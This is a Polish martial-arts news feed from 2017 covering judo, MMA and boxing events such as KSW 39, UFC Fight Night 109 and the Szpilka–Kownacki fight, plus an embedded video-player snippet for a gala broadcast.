W tym roku Piotr Kuczera triumfował w Pucharach Europy w Rzymie i Katowicach. Również Luboń okazał się szczęśliwy dla judoki KS Kejza Team Rybnik. W finale Kuczera pokonała Tomasza Szczepaniaka. Złote medale wywalczyły również wicemistrzynie Europy w drużynie Karolina Pieńkowska (52kg) oraz Anna Borowska (57kg). Idealny prezent na 18. urodziny sprawiła sobie Eliza Wróblewska (70kg), która w finale pokonała Julię Jaśkiewicz.

Wśród kobiet można narzekać na frekwencję, która w niektórych kategoriach była niska. W żadnej  na starcie nie pojawiło się więcej niż 10 zawodniczek! Zgoła odmiennie wyglądała sytuacja u panów. W trzech kategoriach startowało 20 i więcej judoków. Najwięcej w wadze do 73kg – 27.

Teraz Bukareszt

Po krajowych emocjach, czas na walkę o punkty do światowego rankingu. Tym razem nasza kadra uda się na Puchar Europy do Bukaresztu. Warto wspomnieć, że Polacy trenują już pod okiem nowych trenerów. Za przygotowanie kobiet odpowiada Marian Tałaj, zaś mężczyznami zajmuje się Zbigniew Pacholczyk. Pomagają im niedawna rywalizujący na tatami – Łukasz Błach i Paweł Zagrodnik.

Start w Bukareszcie jest jednym z etapów przygotowań do mistrzostw świata w Budapeszcie.

W kadrze na Puchar Świata (3-4 czerwca) znaleźli się m.in.: Joanna Stankiewicz (48kg), Katarzyna Wiszniewska i Agata Perenc (52kg), Urszula Hofman (70kg), Beata Pacut i Paula Kułaga (78kg), Aleksander Beta (66kg), Wiktor Mrówczyński (73kg), Damian Szwarnowiecki, Jakub Kubieniec i Karol Kurzej (81kg), Patryk Ciechomski (90kg), Mariusz Krueger i Tomasz Domański (100kg), Maciej Sarnacki i Kamil Grabowski (+100kg).

KM

LIVE: Granda PRO 4 – Arena Wojowników

Zapraszamy na transmisję telewizyjną z Gali Granda PRO 4 – Arena Wojowników, która odbędzie się 9 czerwca 2017 na warszawskim Torwarze. Start transmisji od godz. 20.00.

[kod]

Gala Granda PRO 4 – Arena Wojowników

Granda PRO 4 – Arena Wojowników

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/GrandaPRO3.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/GrandaPRO3.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/GrandaPRO3.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/GrandaPRO3.livx"
},
autofocus: false,
rendererPriority: ["dash", "html5", "silverlight"],
skin: "red",
// —
splashscreen: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
poster: "http://r.dcs.redcdn.pl/file/o2/Marklaw/LegiaFightClub/GP4.jpg",
autoplay: false,
// —

width: 640,
height: 385,
autoplay: false,
});

Joanna Jędrzejczyk na obozie treningowym LFN Team!

Po zwycięskim pojedynku w Dallas i kolejnej obronie pasa mistrzowskiego, najlepsza na świecie polska zawodniczka MMA wróciła do kraju i w połowie czerwca weźmie udział w obozie sparingowym Ladies Fight Night – JJCamp. Joanna Jędrzejczyk poprowadzi treningi najzdolniejszych polskich fighterek jedynej w Europie żeńskiej organizacji sportów walki, otwierające przygotowania do kolejnej gali LFN. Treningi w Łodzi będą także okazją do spotkania „oko w oko” z przeciwniczką, z którą Asia debiutowała w MMA. 

JJCamp w Łodzi

Obóz sparingowy LFN Team już po raz drugi odbędzie się w Łodzi, gdzie w 2015 roku powstał projekt Ladies Fight Night. W dniach 15-18 czerwca, zawodniczki żeńskiej organizacji będą trenowały w Fight Club Łódź, szlifując formę przed kolejną galą LFN. Mocnym akcentem sportowym obozu będą treningi z Mistrzynią Świata MMA Joanną Jędrzejczyk.

– JJCamp i współpraca z Asią to konsekwentne dążenie do zapewnienia naszym zawodniczkom tego co najlepsze. Cieszymy się, że dziewczyny z LFN Team będą mogły wymienić doświadczenia sportowe z najlepszą zawodniczką MMA na świecie. – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night. – Zaplanowaliśmy cztery wspólne sesje treningowe, dwie w piątek i kolejne w sobotę. Wierzymy, że zaowocuje to jeszcze wyższym poziomem sportowym naszych gal i świetnymi walkami dziewczyn w klatkoringu. – dodaje Łukasz Chmal.

""Spotkanie po latach Jędrzejczyk vs Juśkiewicz

Joanna Jędrzejczyk debiutowała w zawodowym pojedynku MMA 19 maja 2012 roku. Jej przeciwniczką była również debiutantka, dziś zawodniczka LFN Team, Sylwia Juśkiewicz. Po dwurundowej walce sędziowie orzekli wtedy zwycięstwo na punkty obecnej Mistrzyni Świata. Po pięciu latach Joanna Jędrzejczyk i Sylwia Juśkiewicz znów będą miały okazję spotkać się w kalatkoringu, tym razem podczas sesji treningowych. Od czasu debiutu Sylwia „Mała” Juśkiewicz  (6-4) stoczyła 9 pojedynków w MMA. Podczas ostatniej gali Ladies Fight Night „Five Points” w Poznaniu, „Mała” dała widowiskowy popis swoich umiejętności, pewnie pokonując swoją rywalkę z Ukrainy. Sama o sobie mówi, że chce być najlepsza, a pojedynek z Jędrzejczyk przegrała tylko jednym punktem. 

Gala Ladies Fight Night „IRA” w sierpniu 

Obóz treningowy w Łodzi rozpocznie przygotowania do szóstej gali organizacji Ladies Fight Night zatytułowanej „Ira”, co  po łacinie znaczy „gniew”. Po udanych organizacyjnie i sportowo eventach w Łodzi, Warszawie, Karpaczu i Poznaniu włodarze zapowiadają teraz letnie spotkanie z fanami kobiecego MMA i K-1 nad morzem. Gala planowana jest na drugą połowę sierpnia.

""Za ideą stworzenia Ladies Fight Night, pierwszej w Europie żeńskiej organizacji sportów walki, stało przeświadczenie włodarzy o konieczności dania kobietom pola do występów – szerszego niż tylko incydentalne pojedynki na galach w Polsce. – Taka sytuacja jeszcze dwa lata temu, powodowała, że większość utalentowanych sportowo dziewcząt – takich jak Joanna Jędrzejczyk – musiało szukać szczęścia za granicą. Dziś mogą zdobywać doświadczenie w kraju. – mówi Łukasz Chmal.

Ladies Fight Night

FEN Summer Camp: trenuj z gwiazdami MMA i K-1

Już tego lata federacja Fight Exclusive Night zorganizuje pierwszy w swojej historii obóz treningowy dla młodych adeptów MMA i K-1. Pod koniec sierpnia na Mazurach szkolić ich będą czołowi zawodnicy FEN Kamil Łebkowski i Arkadiusz Wrzosek oraz znakomici trenerzy Igor Kołacin i Krzysztof Drzazgowski.

FEN Summer Camp odbędzie się w dniach 20-28 sierpnia w Jakubowie koło Mrągowa, w ośrodku sportowym doskonale przystosowanym do treningów mieszanych sztuk walki i kick-boxingu. Mimo wakacyjnej pory jego uczestników, podzielonych na dwie grupy: MMA i K-1, czekają bardzo intensywne zajęcia. Codziennie przewidziane są 2-3 treningi, rozpisane w taki sposób, aby każdy z obozowiczów mógł do maksimum skorzystać z wiedzy i doświadczenia prowadzących.

Treningi poprowadzą znakomici szkoleniowcy: weteran sportów walki Igor Kołacin, były zawodowy mistrz Europy w sanda i zdobywca Pucharu Świata w karate full-contact, który od lat z powodzeniem szkoli czołówkę polskich kickbokserów, oraz Krzysztof Drzagowski, trener boksu znany ze współpracy z wieloma zawodowymi pięściarzami, m.in. Mariuszem Wachem i Ewą Brodnicką. Tajemnice swojego warsztatu uczestnikom FEN Summer Camp zdradzać będą też gwiazdy federacji FEN: Kamil Łebkowski, jeden z najlepszych zawodników MMA wagi piórkowej w Europie, oraz Arkadiusz Wrzosek, aktualny mistrz świata K-1 Global i mistrz Europy w muay thai.

Obóz w Jakubowie odwiedzą również goście, wśród których nie zabraknie innych wojowników MMA i K-1, związanych z organizacją FEN. Na Mazurach pojawią się także podopieczni trenera Drzazgowskiego, zawodowi bokserzy Norbert „Noras” Dąbrowski i Sergei Werwejko. Ponadto przez cały czas trwania obozu trenujących zawodników uważnie obserwować będą włodarze Fight Exclusive Night, będzie to więc dla każdego niepowtarzalna szansa zaprezentowania swego talentu i umiejętności, która może zaowocować propozycją występu na jednej z kolejnych gal tej federacji.

Koszt uczestnictwa w obozie do 30 czerwca wynosi 1350 zł, po tym terminie cena wzrośnie do 1500 zł. W tej kwocie zawiera się zakwaterowanie w domkach letniskowych lub pokojach hotelowych z pełnym węzłem sanitarnym, 3 posiłki dziennie w formie bufetu szwedzkiego, 2-3 treningi każdego dnia oraz ubezpieczenie. Podczas obozu rozegrany zostanie turniej obejmujący kilka konkurencji sprawnościowych, na którego zwycięzców czekają nagrody ufundowane przez sponsorów i partnerów projektu FEN Summer Camp. Dojazd na obóz we własnym zakresie – istnieje możliwość wcześniejszego skontaktowania uczestników, którzy będą jechać z tych samych okolic, w celu wspólnego przyjazdu samochodem.

Więcej informacji oraz zapisy na obóz u koordynatora FEN Summer Camp Igora Kołacina pod nr  tel. 574 198 934 lub adresem mailowym i.kolacin@fen-mma.com.

FEN 17 Baltic Storm: official aftermovie

12 maja w klatce FEN w Gdynia Arena nie brakowało emocji: były szybkie nokauty i poddania oraz ciężkie walki do ostatniej sekundy, pewne triumfy faworytów oraz zaskakujące zwycięstwa skazanych na pożarcie… Zapraszamy do obejrzenia oficjalnego filmowego podsumowania gali FEN 17 Baltic Storm!

[kod]

Trzecia porażka Helda

Wszystko układało się po myśli Marcina Helda, ale w trzeciej rundzie Damir Hadzović brutalnie zaskoczył 25-latka. Gala UFC Fight Night 109 w Sztokholmie nie była udana dla Polaków. Drugą porażkę w amerykańskiej organizacji zanotował Damian Stasiak.

„Do trzech razy sztuka” – Marcin Held czekał na pierwsze zwycięstwo w UFC. Nie udało się. Kolejna porażka i pytanie, czy Polak dostanie jeszcze jedną szansę.

Kolano Hadzovicia

Porażka w debiucie z Diego Sanchezem, później wyrównany bój z Joe Lauzonem i kontrowersyjna decyzja sędziów, którzy wskazali na Amerykanina. W starciu z Damirem Hadzoviciem Polak miał się zrehabilitować za wcześniejsze niepowodzenia.

W Sztokholmie wszystko układało się po myśli 25-latka. Bośniak starał się straszyć Polaka kopnięciami, jednak ten szukał parteru. Held zapisał na swoim koncie kilka udanych obaleń. Męczył Hadzovicia, ale ten przetrwał napór rywala. W trzeciej rundzie Held ponownie ruszył po nogi Bośniaka i nadział się na kolano. Padł na deski, sędzia przerwał pojedynek. 

Polski fighter zanotował trzecią porażkę w UFC. Nie tak wyobrażał sobie przygodę z amerykańską organizacją. – Jest mi strasznie wstyd. Nie wiem czy to dobre słowo, ale nie umiem znaleźć innego na opisanie tego co czuje. Jest to moja trzecia przegrana w UFC. Nie tak wyobrażaliśmy sobie wszyscy tą drogę, ale taki jest fakt. Poprzednio zostałem niesprawiedliwie potraktowany i otwarcie mówiłem, że tą walkę chce skończyć przed czasem. Ciężko trenowałem, by tym razem nie zawiodła ani kondycja ani technika. Zawiodło… – napisał na swoim fanpage'u Marcin Held. – Bardzo wierzyłem, że tym razem przełamie pecha, że tym razem będzie zwycięstwo. Na pewno zrobię trochę przerwy, potem wrócę i będę zapieprzał. Nie poddam się choćby się waliło i paliło – dodał

Obecnie były pretendent do pasa wagi lekkiej organizacji Bellator przebywa w szpitalu. Tomografia głowy nie wykazała nic groźnego.

Munhoz za mocny

Damian Stasiak wygrał dwie ostatnie walki w UFC przed czasem. W Sztokholmie trafił na mocnego Pedro Munhoza, który większość swoich walk kończył przez poddanie. 

Polak nie przestraszył się mocnego rywala. W pierwszej rundzie dochodziło do wyrównanych wymian w stójce. Stasiak cały czas szukał swojej szansy, jednak Brazylijczyk był uważny. Trzecia runda to kolejne rzuty Munhoza. Stasiak bronił się, rywal nie zrobił mu krzywdy, ale w oczach sędziów lepszy był zawodnik z Kraju Kawy.

W walce wieczoru Alexander Gustafsson znokautował w piątej rundzie Glovera Teixeirę.

Fot. Facebook Marcin Held

KM

Historia w innym wymiarze

Gala KSW 39: Colosseum na stadionie PGE Narodowy w Warszawie na długo pozostanie w pamięci kibiców. To przełomowe wydarzenie w historii MMA.

Główni aktorzy KSW 39 dołożyli wszelkich starań, aby dostarczyć widzom wrażeń najwyższych lotów. Gwizdy pożegnały zwycięzcę walki wieczoru Mameda Khalidova, który wygrał decyzją sędziów, jednak publiczność była odmiennego zdania.

Mamed Wielki

Gwiazdor KSW, mistrz wagi średniej kontynuuje fantastyczną passę. Blisko 37-letni fighter wygrał 14 walkę z rzędu. Co warto podkreślić, w KSW nie zanotował żadnej porażki! Na PGE Narodowym przyszło mu rywalizować z mistrzem wagi półśredniej Borysem Mańkowskim. Khalidov starał się unikać parteru, prowadził pojedynek w stójce. Wyprowadził kilka groźnych kopnięć, a Mańkowski starał się go zaskoczyć potężnymi ciosami. Sędziowie wskazali na Khalidova, na co publiczność zareagowała gwizdami. Gwiazdor KSW  szybko opuścił arenę walki.

W niedzielę Khalidov zamieścił nagranie na facebooku, w którym podziękował wszystkim za wsparcie. – Chciałem podziękować przede wszystkim tym ludziom, którzy pomagali mi podczas przygotowań. Moim trenerom, klubowi, całemu sztabowi, który składa się z dietetyków, catheringu itd. Tym wszystkim, którzy dołożyli się do przygotowań, chciałem podziękować z całego serca – mówił Mamed Khalidov. – Również chciałem bardzo podziękować moim kibicom, ogólnie kibicom MMA, którzy oglądali galę w telewizji i tym będącym na żywo na stadionie. Dziękuję wam bardzo za wsparcie – dodawał.

Nowi mistrzowie

Szybko z pasem w wadze ciężkiej rozstał się Fernando Rodriguez Jr. Brazylijczyk bez zbędnych kalkulacji ruszył na Marcina Różalskiego. „Różal” zachował zimą krew, zebrał w sobie ponadziemskie siły i wyprowadził dwa potężne sierpowe. Grzmoty spadły na szczękę Brazylijczyka, który po 16 sekundach padł na deski. 

Pół roku temu Marcin Wrzosek pokonał Artura Sowińskiego i cieszył się ze zdobycia tytułu w wadze piórkowej. W pierwszej obronie pasa rywalem Polaka był Kleber Koike Erbst. Reprezentant Japonii na wcześniejszych galach KSW pokazał, że potrafi walczyć efektownie. W Warszawie udowodnił swoje wysokie umiejętności parterowe i wygrał na punkty, co dało mu pas.

Pierwszą w historii mistrzynią KSW w kategorii muszej została Ariane Lipski. Pod koniec premierowej odsłony Brazylijka założyła rywalce dźwignię na łokieć. Diana Belbita musiała odklepać.

Bez zmian

Mateusz Gamrot nadal niepokonany. Mistrz wagi lekkiej pokonał na punkty Normana Parke'a. Z kolei Tomasz Narkun po raz trzeci bronił tytułu w kategorii półciężkiej. Ponownie triumfował przed czasem. Zaledwie sekundę przed końcem pierwszej rundy Narkun udusił nogami Marcina Wójcika.

Efektowny debiut

Coraz więcej zawodników decyduje się wykorzystać swoje umiejętności w walkach na zasadach MMA. Choć odnoszą sukcesy w innych dyscyplinach, chcą uczestniczyć w wielkich widowiskach, a zarazem walczyć o najwyższe laury i wysokie gaże. Na PGE Narodowym pierwszą walkę w MMA stoczył Damian Janikowski. Brązowy medalista olimpijski z Londynu w zapasach rozprawił się szybko z Julio Gerardo Gallegosem. Najpierw trafił rywala kolanem, a potem wystrzelił w jego stronę kolejne ciosy. Następnie Janikowski efektownie cieszył się ze zwycięstwa.

Nie rozbił arbuza

Przed KSW 39 Robert Burneika porównywał głowę Popka do arbuza i zapowiadał, że ją rozbije. Obaj mieli stworzyć show. Nikt nie spodziewał się wielkiego sportowego widowiska, lecz prawdziwej wojny i niezliczonej liczby ciosów. Trafień nie było zbyt wiele. Popek Monster przyłożył raz a porządnie, po czym Burneika upadł. Raper nie zmarnował okazji i odniósł pierwsze zwycięstwo w KSW.

Udany powrót

Z KSW związany od zawsze, jednak ostatnio jako komentator. Tym razem Łukasz Jurkowski zaprezentował się w klatce. Po sześciu latach „Juras” ponownie zaprezentował się na gali KSW. Rywalem 36-latka był doskonale znany polskiego publiczności Rameau Thierry Sokoudjou. Mający za sobą występy w Pride, UFC i Bellatorze zawodnik stoczył swoją czwartą walkę w KSW. Sokoudjou zanotował trzecią porażkę. W trakcie pojedynku zranił „Jurasa”, który zaczął krwawić, jednak Jurkowski nie poddał się. Cały czas był aktywny, co docenili sędziowie, którzy niejednogłośnie wskazali na Polaka.

W pojedynku byłych strongmanów triumfował Mariusz Pudzianowski. Ostra wymiana ciosów zakończyła się w drugiej rundzie. Tyberiusz Kowalczyk padł na matę, a „Pudzian” trafił rywala łokciem, po czym ten odklepał.

Nieco ponad minutę na zwycięstwo potrzebował Michał Andryszak. Słynący z efektownych walk zawodnik w pierwszej rundzie wygrał przez gilotynę z Michałem Kitą.

Na pierwszym planie

Polska uwiedziona MMA, Europa zaszokowana, Martin Lewandowski i Maciej Kawulski triumfują. Ich produkt trafił w gusta odbiorców. Na PGE Narodowym zasiadło ponad 56 tysięcy widzów.

Nie raz na stadionach piłkarskich organizowano wielkie gale bokserskie. Nie trzeba daleko szukać – kwietniowa rywalizacja o panowanie w wadze ciężkiej pomiędzy Anthonym Joshuą a Władimirem Kliczko. MMA bez pardonu weszło na salony. Widzowie potrzebują efektownych walk, potężnych ciosów, zwrotów akcji i ogromnej dramaturgii. Właściciele KSW doskonale to rozumieją, dlatego też starają się dostarczyć kibicom tego, czego ci oczekują.

KSW 39: Colosseum to sukces i przełamanie kolejnych barier. Jednak teraz wszyscy będą mieli w pamięci majowe wydarzenie. Nie zabraknie porównań kolejnych gal do KSW 39. Lewandowski i Kawulski będą musieli wspiąć się na wyżyny, aby dostarczyć rozrywki najwyższych lotów i usatysfakcjonować publikę. Było Wembley, był PGE Narodowy, co dalej? Zapewne ciąg dalszy nastąpi.

KM

Held czeka na premierowe zwycięstwo w UFC

Przed Marcinem Heldem trzecia walka w UFC. 28 maja na gali w Sztokholmie rywalem 25-latka będzie Damir Hadzovic. W stolicy Szwecji zaprezentuje się również Damian Stasiak.

Zupełnie inaczej miała wyglądać przygoda Marcina Helda z najlepszą organizacją MMA na świecie. Po dwóch porażkach sytuacja polskiego zawodnika wagi lekkiej nie wygląda kolorowo.

Liczy się zwycięstwo

Marcin Held to ogromny talent i wielka nadzieja polskiego MMA. Zawojował Bellatora, w którym dostąpił zaszczytu rywalizacji o mistrzostwo wagi lekkiej. Przegrał ze starym lisem Willem Brooksem, ale zaprezentował się z dobrej strony. Już wcześniej mówiło się, że Polak wyląduje w UFC. Rok po walce z Brooksem tak się stało. 

Jednak początki Helda w UFC nie należą do najlepszych. W pierwszej walce przegrał z Diego Sanchezem, ale w takich sytuacjach mówi się „pierwsze koty za płoty”. W styczniu w Phoenix Polak zmierzył się z Joe Lauzonem. Sędziowie niejednogłośnie wskazali na rywala, co wywołało spore kontrowersje. Przez większość pojedynku Held kontrolował sytuację, dobrze prezentował się w stójce, a w drugiej rundzie zaliczył kilka obaleń. Jeden sędzia punktował trzy rundy na korzyść Polaka, nawet sam Lauzon przyznał, że zwycięstwo należy się byłemu pretendentowi do tytułu mistrzowskiego Bellatora. Stało się inaczej. Nie ma, co płakać, lecz trzeba szykować się na Hadzovicia.

30-letni Bośniak stawia pierwsze kroki w UFC. W kwietniu przegrał przez nokaut w pierwszej rundzie z Mairbekiem Taisumovem. Wcześniej zanotował sześć zwycięstw na galach takich organizacji jak WKN czy CWFC. Co ciekawe, ponad pięć lat temu Hadzovic przegrał walkę z Krzysztofem Jotko. Czy Held pójdzie w ślady rodaka? Oby. – Przygotowania do mojej kolejnej walki przebiegły bardzo dobrze. Tak jak obiecywałem – przygotowywałem się najlepiej jak potrafiłem. Zrobiłem wszystko co mogłem by być w świetnej formie. Mam nadzieje, że tym razem wszystko pójdzie po mojej myśli. W te ostatnie dni do walki zostały już tylko luźne treningi, zrzucanie wagi i odpoczynek – poinformował Marcin Held za pośrednictwem facebooka.

Walka Polaka z Hadzoviciem otworzy galę UFC Fight Night 109, która odbędzie się 28 maja w Sztokholmie.

Po trzecie zwycięstwo

W stolicy Szwecji zaprezentuje się również Damian Stasiak. Zawodnik wagi koguciej stoczy swoją czwartą walkę w UFC. Dotychczas zanotował dwa zwycięstwa, ale o trzecie może być bardzo trudno. W Sztokholmie Polak zmierzy się z Pedro Munhozem, który jest niezwykle niebezpieczny. Aż 8 z 13 walk wygrał przez poddanie. W ubiegłym roku na galach UFC rozłożył na łopatki Justina Scogginsa i Russella Doane'a.

Na gali UFC Fight Night 109 zaprezentuje się urodzony w Zabrzu Petter Sobotta. Rywalem 30-latka będzie Ben Saunders. W walce wieczoru wystąpią: Alexander Gustafsson i Glover Teixeira.

KM

Gladiatorzy KSW na PGE Narodowym

KSW wyprowadza potężny cios, po którym wszyscy znajdą się w siódmym niebie. Federacja Martina Lewandowskiego i Macieja Kawulskiego chce stworzyć ponadepokowe widowisko. Taka ma być właśnie gala KSW 39: Colosseum, która odbędzie się już w sobotę (27 maja) na stadionie PGE Narodowy w Warszawie.

Plejada gwiazd, czołowi polscy zawodnicy i pięć walk o pasy mistrzowskie federacji KSW. A wszystko w warszawskim Colosseum. Wspaniała podróż w czasy gladiatorów. „Chcecie igrzysk, to macie” – zdaje się mówić KSW.

Gladiatorzy w akcji

Otoczka wydarzenia jest imponująca. Wszystko wydaje się dopracowane i przemyślane. Zawodnicy stylizowani na gladiatorów, gorąca atmosfera, tworzenie aury wyjątkowości. Wiadomo już, że gala KSW 39 pobije rekord świata frekwencji na zawodach MMA. Polska organizacja sprzedała ponad 56 tysięcy wejściówek na sobotnie wydarzenie.

Martin Lewandowski i Maciej Kawulski nie kalkulują. Postanowili, że w Warszawie wystawią najcięższe działa. W walce wieczoru zaprezentują się mistrzowie wagi średniej i półśredniej, czyli Mamed Kahlidov i Borys Mańkowski. 36-latek urodzony w Groznym nie przegrał od czternastu walk, a łącznie ma na koncie 33 zwycięstwa. Dla wielu jest żywą legendą KSW. Czy w Warszawie przekaże pierwszeństwo Mańkowskiemu? Z roku na rok „Diabeł Tasmański” robi postępy i ciągle gna do przodu. Całkowicie zdominował wagę półśrednią i trzy razy skutecznie bronił mistrzowskiego pasa. Czy udźwignie ciężar rywalizacji w Warszawie? Wydaje się, że dla Mańkowskiego to ogromna szansa, a zarazem presja. Może stać się numerem 1 KSW. Khalidov zrobił już na tyle dużo, że jego pozycja nie jest zagrożona. Dodatkowo kończy mu się kontrakt z KSW i nie wiadomo, jakie decyzje podejmie sam zawodnik.

Na stadionie PGE Narodowy dojdzie do pięciu pojedynków mistrzowskich. Po raz pierwszy tytułu w wadze ciężkiej będzie bronił Fernando Rodrigues Jr., który pas wywalczył w grudniu 2016 roku pokonując Karola Bedorfa. Jego rywalem będzie charyzmatyczny i waleczny Marcin Różalski. Do trzeciej obrony pasa wagi półciężkiej stanie Tomasz Narkun. 27-latek zmierzy się z Marcinem Wójcikiem, z którym nie ma przyjacielskich relacji. Mateusz Gamrot idzie jak burza i należy do najlepszych zawodników KSW. Rok temu świętował zdobycie pasa w wadze lekkiej w Trójmieście. W Warszawie dobrą passę Polaka postara się przerwać Norman Parke, który ma za sobą występy w UFC. Pierwszy raz tytułu mistrzowskiego w wadze piórkowej będzie bronił Marcin Wrzosek. Polak stanie przed trudnym zadaniem. Kleber Koike Erbst pokazał, że potrafi być zabójczo skuteczny. W Warszawie na szali pojawi się pas KSW w wadze muszej kobiet. Walka będzie historyczna, bo zwyciężczyni zostanie pierwszą mistrzynią. W pojedynku o pas zmierzą się Ariane Lipski i Diana Belbita.

Na stadionie PGE Narodowym debiut w MMA zaliczył brązowy medalista olimpijski w zapasach z Londynu Damian Janikowski. Po ponad sześciu latach do rywalizacji wraca Łukasz Jurkowski. 
Rywalem „Jurasa” będzie doskonale znany polskiej publiczności Rameau Thierry Sokoudjou. Ciekawie zapowiada się konfrontacja dwóch potworów, czyli Popka Monstera i Roberta Burneiki. W Warszawie spotkają się również byli strongmani. Większym doświadczeniem w MMA legitymuje się Mariusz Pudzianowski, ale Tyberiusz Kowalczyk nie ma zamiaru odpuszczać.

Nowy rozdział historii

KSW przeszła ogromną przemianę i pisze historię polskiego MMA. Można powiedzieć, że organizacja wprowadza kibiców na ponadgalaktyczny poziom widowiska sportowego. Jednak zawsze z tyłu głowy pojawia się myślę, że „z wielkiej chmury mały deszcz”. Jak będzie? O tym przekonamy się 27 maja.

Warto podkreślić, że przez trzynaście lat KSW zrobiło swego rodzaju krok cywilizacyjny. W 2004 roku organizacja zaczynała działalność i pierwszą galę przygotowała w warszawskiej restauracji Champions. Przez kolejne lata podbijała kolejne polskie miasta i trafiła na usta kibiców sportów walki, aż dotarła do świadomości całego społeczeństwa. 

KM

Powrót Szpilki, walka z Kownackim potwierdzona

Można powiedzieć, że w końcu Artur Szpilka stoczy swoją 23 walkę w karierze. Pięściarz urodzony w Wieliczce czeka na pojedynek już blisko półtora roku. 15 lipca na gali Premier Boxing Champions na Ling Island „Szpila” zmierzy się z Adamem Kownackim.

Szpilka zdążył już zatęsknić za boksem. Ciężko trenował, bo  w planach miał walkę z Dominikiem Breazeale'm, jednak los nie sprzyjał Polakowi.

Wygrać z Kownackim

Ostatni raz Szpilka rywalizował 16 stycznia 2016 roku w Barclays Center. W dziewiątej rundzie Deontay Wilder posłał go na deski i obronił pas WBC. Półtoraroczna przerwa nie posłużyła Szpilce, który znalazł się poza rankingami znaczących organizacji. W lutym miał walczyć z Breazeale'm, jednak pojedynek odwołano. Wśród potencjalnych rywali Szpilki wymieniano Krzysztofa Zimnocha i Adama Kownackiego. Z tym ostatnim był nawet „po słowie”, jednak walczący w Stanach Zjednoczonych bokser w ostatniej chwili wycofał się z powodu kłopotów zdrowotnych. Ostatnio temat starcia „Szpili” z Kownackim wrócił jak bumerang. Były pretendent do pasa WBC w wadze ciężkiej podchodził sceptycznie do tej możliwości. Pisaliśmy o tym tu

Sprawa potoczyła się błyskawicznie. Wszystko jest już dopięte na ostatni guzik. 15 lipca Szpilka zmierzy się z Kownackim. – Cieszę się bardzo. Długo to wszystko trwało, ale najważniejsze było dla mnie, żeby mi zagwarantowali w kontrakcie, że nie daj Boże Adama rozboli ząbek kolejny raz, to będę miał walkę z kimś innym na tej samej gali. Jestem w ciężkim treningu rok czasu. Dwie walki przełożone. Z tej nieaktywności wypadłem z rankingów. Także żaden z zawodników z czołówki nie chce ze mną walczyć, bo jest to dla niego walka ryzykowna. Breazeale chciał walczyć przed walką z Izu, ale potem poszedł w rankingach w górę i czeka na swój złoty strzał – powiedział Artur Szpilka.

Dla „Szpili” liczy się tylko zwycięstwo. Porażka bardzo mogłaby skomplikować jego sytuację. – Liczyłem na kogoś mocniejszego, aczkolwiek doceniam Adama. Wiem, że będzie to dla niego szansa. Zrobi, co może, ale tak jak mówię – ma pecha pecha, bo staje do zawodnika, który troszkę już tego boksu łyknął. Druga rzecz, dla mnie ta walka jest „o być albo nie być” – tłumaczy bokser.

Najważniejszy pojedynek

W przypadku 28-letniego Kownackiego, walka ze Szpilką będzie najważniejszym wydarzeniem w jego karierze. Urodzony w Łomży pięściarz wygrał wszystkie 15 walk, ale nie może pochwalić się większymi sukcesami. Zwycięstwo ze Szpilką mogłoby otworzyć przed Kownackim nowe możliwości.

KM

13 medali Polaków w Tbilisi

Monika Steckiewicz i Anna Kubiak mogą pochwalić się złotymi medalami czwartych mistrzostw Europy kung-fu wushu. Reprezentacja Polski wywalczyła łącznie 13 krążków. Prym w stolicy Gruzji wiedli Rosjanie, którzy zapisali na swoim koncie 358 medali.

Polska zajęła szóste miejsce w klasyfikacji końcowej na 26 startujących w imprezie reprezentacji. Wynik ten należy uznać za sukces naszej kadry i dobry prognostyk przed kolejnymi zawodami.

Smak złota

Dla każdego zawodnika, niezależnie od dyscypliny, którą uprawia – marzeniem jest wywalczenie mistrzostwa i wspięcie się na najwyższy stopień podium. W Tbilisi ta sztuka dwukrotnie udała się Monice Steckiewicz, która okazała się najlepsza w yang TJQ i chen TJQ. Do tego dołożyła jeszcze srebro. Również trzema medalami może pochwalić się Anna Kubiak. 24-letnia zawodniczka wywalczyła krążek każdego koloru. Ze złota cieszy się również Kacper Sumiński. Na podium mistrzostw Europy stawali również: Marian Olech (dwa brązowe medale), Ewa Solarz, Katarzyna Olczak i Mateusz Ciałowicz (wszyscy brąz).

Po raz kolejny ponadprzeciętne umiejętności potwierdziła Anna Kubiak. 24-latka jest niezwykle pracowita, zawsze skupiona, niemalże perfekcyjna. Ponad pół roku temu w Pruszkowie podczas mistrzostw świata taijquan zdobyła trzy medale w konkurencjach sportowych (srebro i dwa brązowe). W Tbilisi pokazała, że nie ma zamiaru zwalniać tempa. – Z czystym sumieniem mogę powiedzieć, ze jestem bardzo zadowolona ze swoich startów. Dałam z siebie 150 proc., co zaowocowało dobrymi notami i miejscami medalowymi. Cała kadra taijiquan była przygotowana na starty dzięki konsultacjom organizowanym przez Polski Związek Wushu, które odbywały się w Warszawie i zrobiła kawał dobrej roboty. Zawody rangi mistrzostw Europy to już wyższa poprzeczka, poziom z roku na rok jest coraz lepszy. Co ciekawe, Polska również plasuje się coraz wyżej w klasyfikacji drużynowej  – na tych zawodach byliśmy 6. na 26 krajów, które wzięły udział w tym wydarzeniu. Oczywiście licząc wspólne wyniki całej drużyny razem z formami tradycyjnymi i Qingdą – przedstawia Anna Kubiak.

Podczas każdej imprezy zawodnicy narażeni są na różne problemy. Polacy mogli skupić się, tylko i wyłącznie na startach dzięki wsparciu trenera Michała Ignatowicza. – Nasz team mógł się porządnie skupić na startach, z racji tego, że byliśmy pod dobrą opieką trenera kadry, Michała Ignatowicza, wiec nie odczuliśmy, np. problemów z transportem na halę czy posiłkami – podkreśla trzykrotna medalistka mistrzostw Europy w Tbilisi.

Gonimy Azjatów?

